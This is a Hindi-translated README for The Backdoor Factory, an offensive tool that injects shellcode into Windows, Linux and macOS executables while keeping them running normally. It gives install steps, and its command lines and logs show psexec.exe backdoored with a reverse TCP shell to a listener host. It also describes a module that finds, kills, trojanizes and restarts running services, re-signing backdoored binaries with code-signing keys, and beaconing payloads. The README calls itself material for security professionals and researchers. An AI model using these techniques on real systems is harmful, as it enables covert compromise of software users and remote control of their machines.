
Patch PE, ELF, Mach-O बाइनरी को शेलकोड के साथ पैच करें, विकास में नया संस्करण, केवल प्रायोजकों के लिए उपलब्ध
केवल सुरक्षा पेशेवरों और शोधकर्ताओं के लिए।
BDF का लक्ष्य एक्जीक्यूटेबल बाइनरी को उपयोगकर्ता की इच्छित शेलकोड के साथ पैच करना और प्रीपैच्ड अवस्था के सामान्य निष्पादन को जारी रखना है।
ब्लैक हैट यूएसए 2015:
वीडियो: https://www.youtube.com/watch?v=OuyLzkG16Uk
पेपर: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
श्मूकॉन 2015:
वीडियो: https://archive.org/details/joshpitts_shmoocon2015
पेपर: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
डर्बीकॉन 2014:
वीडियो: http://www.youtube.com/watch?v=LjUN9MACaTs
डर्बीकॉन 2013:
वीडियो: http://www.youtube.com/watch?v=jXLb2RNX5xs
इंजेक्शन मॉड्यूल डेमो: http://www.youtube.com/watch?v=04aJAex2o3U
स्लाइड्स: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
डेवलपर से संपर्क करें:
IRC:
irc.freenode.net #BDFactory
ट्विटर:
@midnite_runr
BSD 3 खंड लाइसेंस के अंतर्गत
विकी देखें: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
#####OnionDuke का उपयोग करने के लिए आपको इंटेल मशीन पर होना चाहिए क्योंकि aPLib में ARM चिपसेट के लिए अभी तक समर्थन नहीं है।
Capstone engine को PyPi से स्थापित किया जा सकता है:
sudo pip install capstone
Pefile, सबसे नया:
https://code.google.com/p/pefile/
osslsigncode (रिपॉजिटरी में शामिल):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
काली स्थापना:
apt-get update
apt-get install backdoor-factory
अन्य *NIX/MAC स्थापना:
./install.sh
यह pefile स्थापित करने के लिए 3.01 pip के साथ Capstone स्थापित करेगा।
अद्यतन:
./update.sh
समर्थन:
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM लिटिल एंडियन x32),
और Mach-O x86/x64 और FAT फ़ाइलों में ये प्रारूप
पैक की गई फ़ाइलें: PE UPX x86/x64
प्रायोगिक: OpenBSD x32
कुछ एक्जीक्यूटेबल में अंतर्निहित सुरक्षाएँ होती हैं, इसलिए यह सभी बाइनरी पर काम नहीं करेगा। यह सलाह दी जाती है कि लक्ष्य बाइनरी को ग्राहकों को तैनात करने या अभ्यास में उपयोग करने से पहले उनका परीक्षण करें। मैं NSIS को बायपास करने की कगार पर हूँ, इसलिए इन जाँचों को बायपास करना भविष्य में शामिल किया जाएगा।
रयान ओ'नील को बहुत-बहुत धन्यवाद --ryan 'at' codeslum <d ot> org--
उसके बिना, मैं अभी भी elf प्रारूप के साथ
बेवकूफी भरी चीजें करने की कोशिश कर रहा होता।
सिल्वियो सेसरे को भी धन्यवाद, जिनके 1998 के पेपर
(http://vxheaven.org/lib/vsc01.html) पर ये ELF पैचिंग तकनीकें आधारित हैं।
./backdoor.py -h उपयोग: backdoor.py [options]
##विशेषताएँ:
###PE फ़ाइलें
एक EXE/DLL में सभी कोडकेव्स ढूँढ सकता है।
डिफ़ॉल्ट रूप से, PE प्रमाणपत्र तालिका के पॉइंटर को साफ़ करता है, जिससे बाइनरी अहस्ताक्षरित हो जाती है।
कोडकेव्स या एक नए सेक्शन में शेलकोड इंजेक्ट कर सकता है।
पता लगा सकता है कि क्या किसी PE बाइनरी को उन्नत विशेषाधिकारों के साथ चलने की आवश्यकता है।
कोडकेव्स चुनते समय, आप निम्न कमांड का उपयोग कर सकते हैं:
-Jump (j), कोडकेव कूदने के लिए
-Single (s), अपने सभी शेलकोड को एक गुफा में पैच करने के लिए
-Append (a), एक कोडकेव बनाने के लिए
-Ignore (i या q), कोई बात नहीं, इस बाइनरी को अनदेखा करें
DLL को अनदेखा कर सकता है
आयात तालिका पैचिंग
स्वचालित पैचिंग (-m automtic)
Onionduke (-m onionduke)
###ELF फ़ाइलें
टेक्स्ट सेगमेंट में 1000 बाइट (बाइट्स में) बढ़ाता है और उस कोड सेक्शन में शेलकोड इंजेक्ट करता है।
###Mach-O फ़ाइलें प्री-टेक्स्ट सेक्शन पैचिंग और हस्ताक्षर हटाना
###कुल मिलाकर
उपयोगकर्ता यह कर सकता है:
-कस्टम शेलकोड प्रदान करें।
-एक्जीक्यूटेबल्स/डीएलएल की निर्देशिका को पैच करें।
-केवल x32 या x64 बाइनरी को पैच करने के लिए चुनें।
-BDF को अन्य पायथन प्रोजेक्ट्स में शामिल करें, pebin.py और elfbin.py देखें।
###मौजूदा कोडकेव का उपयोग करके एक exe/dll पैच करें:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 402
[*] All caves lengths: (402,)
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 402
[*] Available caves:
1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507
2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492
3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501
4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492
5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505
6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498
7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495
8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505
9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559
10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559
**************************************************
[!] Enter your selection: 5
Using selection: 5
[*] Changing Section Flags
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###एक कोड सेक्शन जोड़कर एक exe/dll पैच करें:
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Overwriting certificate table pointer
[*] psexec.exe backdooring complete
File psexec.exe is in the 'backdoored' directory
###exes की एक निर्देशिका पैच करें: ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a ...आउटपुट README के लिए बहुत लंबा...
###उपयोगकर्ता द्वारा आपूर्ति की गई शेलकोड: msfpayload windows/exec CMD='calc.exe' R > calc.bin ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin इससे लक्ष्य विंडोज वर्कस्टेशन पर calc.exe पॉप हो जाएगा। बहुत 1337। बहुत pwn। वाह।
###PE कोड साइनिंग
BDF PE फ़ाइलों पर हस्ताक्षर कर सकता है यदि आपके पास कोड साइनिंग प्रमाणपत्र है। यह osslsigncode का उपयोग करता है। अपने साइनिंग प्रमाणपत्र और निजी कुंजी को certs/ निर्देशिका में रखें। इस ब्लॉग पोस्ट से openssl कमांड का उपयोग करके अपने प्रमाणपत्र तैयार करें: http://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html
अपनी निजी कुंजी का पासवर्ड एक फ़ाइल में रखें (हाँ, ऐसे) बिल्कुल इस प्रकार:
echo -n yourpassword > certs/passFile.txt
अपने प्रमाणपत्रों का नाम बिल्कुल इस प्रकार रखें:
signingCert.cer => certs/signingCert.cer
signingPrivateKey.pem => certs/signingPrivateKey.pem
आपकी certs/ निर्देशिका बिल्कुल इस प्रकार दिखनी चाहिए:
certs
├── passFile.txt
├── signingPrivateKey.pem
└── signingCert.cer
PE कोड साइनिंग को -C फ़्लैग से इस प्रकार सक्षम करें:
./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C
सफल रन पर आपको BDF आउटपुट में यह पंक्ति दिखनी चाहिए:
[*] Code Signing Succeeded
###शिकार और बैकडोर: इंजेक्टर | केवल विंडोज
इंजेक्टर मॉड्यूल डिस्क पर बैकडोर करने के लिए लक्ष्य एक्जीक्यूटेबल्स की तलाश करेगा। यह जाँच करेगा कि क्या आपने लक्ष्य को एक सेवा के रूप में पहचाना है, जाँच करेगा कि क्या प्रक्रिया चल रही है, प्रक्रिया और/या सेवा को मारेगा, एक्जीक्यूटेबल में शेलकोड इंजेक्ट करेगा, मूल फ़ाइल को file.exe.old या किसी अन्य पसंदीदा प्रत्यय के साथ सहेजेगा, और प्रक्रिया या सेवा को पुनरारंभ करने का प्रयास करेगा।
अपनी पसंद के लक्ष्यों के लिए 'injector' मॉड्यूल में पायथन डिक्शनरी "list_of_targets" संपादित करें।
./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow
###परिवर्तन लॉग
####01/11/2016
####07/04/2016
####06/19/2016
####12/20/2015
####12/18/2015
####11/17/2015
####11/13/2015
####10/19/2015
####10/13/2015
####08/12/2015
PATCH_METHOD 'replace' जोड़ा गया - आपूर्ति की गई बाइनरी का एक सीधा PE कॉपी पास्ता
BDFProxy के साथ उपयोग के लिए अधिक
उपयोग: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe
####08/11/2015
####08/05/2015
####5/01/2015
####4/28/2015
####4/14/2015
बहुत सारे अपडेट:
PE फ़ाइलों के लिए स्वचालित पैचिंग (एक *_threaded पेलोड के साथ -m automatic का उपयोग करें)
x86/x64 PE फ़ाइलों के लिए नए IAT पेलोड
####2/14/2015 मैं आप लोगों से प्यार करता हूँ
IAT रिवर्स टीसीपी पेलोड का समर्थन करने के लिए PEs के लिए आयात पता तालिका पैचिंग जोड़ी गई जो विनएपीआई कॉल के लिए आयात तालिका का उपयोग करते हैं। यदि आप जिस बाइनरी को पैच कर रहे हैं उसमें LoadLibraryA और GetProcAddress नहीं है, उदाहरण के लिए, BDF इसे एक नए सेक्शन में एक नई आयात तालिका में पैच करेगा। x64/x86 PEs का समर्थन करता है।
x64 PEs के लिए iat_reverse_tcp जोड़ा गया।
बग फिक्स और सुधार
####1/1/2015
नया साल मुबारक हो!
दो नए OS X पेलोड! विलंब: delay_reverse_shell_tcp
-B 30 --> पेलोड को 30 सेकंड के लिए विलंबित करें, मुख्य कोड तुरंत चलता है।
BDF में निर्माण के लिए फर्म कैपस्टोन कमिट की सेटिंग, कैपस्टोन 'नेक्स्ट' रिपोजिटरी BDF को तोड़ता है।
साइथॉन कैपस्टोन कार्यान्वयन नल बाइट ट्रंकेशन समस्या को ठीक करने के लिए फिक्स
####12/27/2014
payloadtests.py जोड़ा गया
यह स्क्रिप्ट 'backdoored' में पैच की गई फ़ाइलों को आउटपुट करेगी जो उपयोगकर्ता को अपनी इच्छानुसार पेलोड का परीक्षण करने की अनुमति देगी। प्रत्येक पेलोड प्रकार उपयोग किए गए पोर्ट को एक से बढ़ाता है।
उपयोग: payloadtest.py binary HOST PORT
####12/17/2014
OS X बीकनिंग पेलोड x86 और x64 के लिए: beaconing_reverse_shell_tcp
-B 15 --> बीकन समय 15 सेकंड पर सेट करें
BDFProxy के लिए OS X समर्थन के लिए बग फिक्स
####10/11/2014
PE UPX पैचिंग जोड़ी गई
####9/26/2014
Mach-O x86/x64 जोड़ा गया
x86 IAT पेलोड ऑप्टिमाइज़ेशन
####7/31/2014
ARM x32 LE ELF पैचिंग के लिए समर्थन जोड़ा गया
####7/22/2014
FreeBSD x32 ELF पैचिंग समर्थन जोड़ा गया
BSD 3 खंड लाइसेंस में परिवर्तन
####7/13/2014
Capstone शामिल किया गया: http://www.capstone-engine.org/
Capstone को जोड़ने की प्रक्रिया के दौरान, मैंने कोड की लगभग 500 पंक्तियाँ हटा दीं। यह काफी अद्भुत है।
loadliba_reverse_tcp का नाम बदलकर iat_reverse_tcp कर दिया गया।
गति के लिए छोटे अनुकूलन।
####5/30/2014
एक नया win86 शेलकोड जोड़ा गया: loadliba_reverse_tcp